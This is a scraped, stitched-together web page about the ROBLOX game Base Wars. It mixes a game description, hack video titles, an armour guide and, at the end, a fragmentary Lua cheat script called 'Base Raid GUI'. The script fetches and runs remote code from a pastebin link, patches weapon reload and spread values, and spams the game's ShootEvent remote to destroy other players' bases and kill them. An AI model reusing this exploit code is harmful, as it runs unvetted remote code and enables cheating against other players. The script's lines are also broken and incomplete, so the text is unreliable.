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- ROBLOX Base Wars FPS is a first-person shooter game by the ROBLOX Content Team, known as Games. The goal is to capture all control points and get the most points. If your team wins, you could get the Red & Blue Base Wars Paintball Mask. The game is relatively popular, as it has racked up over 740,000 place visits and over 30,000 favorites.
- Quite few things has changed since 2014. The community is still messed up however, and Roblox is still trying to promote other companies, nerf guns in this case. What I did notice is that few old levels such as “Work At a Pizza Place” and DoomSpires came back. My favorite game though, Base wars, does not have its typical 750 people on anymore.
Jan 29, 2016 Roblox Base Wars Speed Hack Walkthrough Mp3. ROBLOX (Basewars) 30000 Kills Glitch 2012. NEW GUN DAMAGE HACK 2014 AUGUST (BASE WARS. How to get LOTS of kills in 'Roblox,Base Wars. You will be redirected to the shopping site. Please note that you must be 18 or over to buy online.
[ROBLOX] Basic guide for Base Wars by D4rk886
posted Oct 4, 2013, 4:44 PM by Kerry Zhu [ updated Oct 10, 2013, 6:04 PM]Ever been frustrated that you don't have enough kills in that epic front page game called Base wars? well here's the guide on how to get kills very easily, I'll be covering how to get a good KDR in the next article This is a guide for newbies :3 who just started playing Roblox, this game, or just generally bad at military/FPS games. well, here you go,
If you have any questions, concerns, or problems please PM me: Runeblade0301 Riot Shield armour: I think it only gives you 800 HP now, -4 walkspeed, but you have a shield, which blocks a lot of the dmg, good for camping and CQC. Have to be careful around people with bows or crossbows. Use with shotguns M4 to have shield up. Assassin armour: gives you an extra 25 HP pts, and +8 speed [I uses this a lot]. Swimming armour: gives you extra speed when swimming and you will receive no dmg when in water, good if you like playing the marines Regular armour: 500 HP pts, 10 walking speed, costs far less kills and cash. Uber VIP armor: 200 HP pts and regular walkspeed. requires user buuying uber vip. Anti Explode Armour: 100% resistent to explosions and 150 HP |
May 28th, 2019
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Roblox
- local library = loadstring(game:HttpGet('https://pastebin.com/raw/j3TcLjYu', true))()
- local char = plr.Character
- local renderstepped = game:GetService('RunService').RenderStepped
- SILENTKILL = false
- for k,v in next,getreg() do
- local fenv = getfenv(v)
- fenv.oof = function(...)
- end
- end
- end
- function IsProtected(player)
- local target = workspace:FindFirstChild(player)
- if target and target:FindFirstChildOfClass('ForceField') then
- end
- return false
- for k,v in next, getreg() do
- if type(v) 'table' and rawget(v, 'reloadTime') then
- v.reloadTime = 0.01
- v.minSpread = 0
- v.range = 2e6
- end
- local plr = {}
- if v.Character then
- end
- return plr
- local tool = char:FindFirstChildOfClass('Tool')
- local shootEvent = game.ReplicatedStorage.WeaponScripts.Events:WaitForChild('ShootEvent')
- local getTime = game.Players.LocalPlayer:WaitForChild('PlayerScripts'):WaitForChild('TimeHandler'):WaitForChild('WantTime')
- for _,v in next, workspace.Tycoons:GetChildren() do
- if v.Owner.Value and v.Owner.Value ~= plr.Name and (not IsProtected(v.Owner.Value)) then
- for _,parts in next, v.PlacedContent:GetChildren() do
- if hitbox then
- local direction = (hitbox.Position - char.Head.Position).unit
- local ray = Ray.new(char.Head.Position, direction * 1000)
- local part, partpos = workspace:FindPartOnRay(ray)
- if part and part.Parent.Parent.Name 'PlacedContent' then
- for i = 0, parts.DestroyHP.Value do
- shootEvent:FireServer(tool.Name, char.Head.Position, direction * 1000, tool, getTime:Invoke(), tool:FindFirstChild('BulletSpawnPos').Position)
- end)
- end
- end
- end
- local tool = char:FindFirstChildOfClass('Tool')
- local shootEvent = game.ReplicatedStorage.WeaponScripts.Events:WaitForChild('ShootEvent')
- local getTime = game.Players.LocalPlayer:WaitForChild('PlayerScripts'):WaitForChild('TimeHandler'):WaitForChild('WantTime')
- for _,v in next, game.Players:GetChildren() do
- if v.Name ~= plr.Name and (not IsProtected(v.Name)) then
- if char and v.Character and v.Character.Head and char.Head then
- local direction = (v.Character.Head.Position - char.Head.Position).unit
- local ray = Ray.new(char.Head.Position, direction * 1000)
- local part, partpos = workspace:FindPartOnRayWithWhitelist(ray, GetPlrForWhiteList())
- shootEvent:FireServer(tool.Name, char.Head.Position, direction * 1000, tool, getTime:Invoke(), tool:FindFirstChild('BulletSpawnPos').Position)
- end)
- end
- end
- if flags.SILENTKILL then
- end
- game.StarterGui:SetCore('SendNotification', {
- Text = text;
- })
- text = 'Base Raid GUI',
- flags.SILENTKILL = not flags.SILENTKILL
- SendNotification('Alert', 'Base Raid GUI by asgar#3199, Asgarr on v3rm')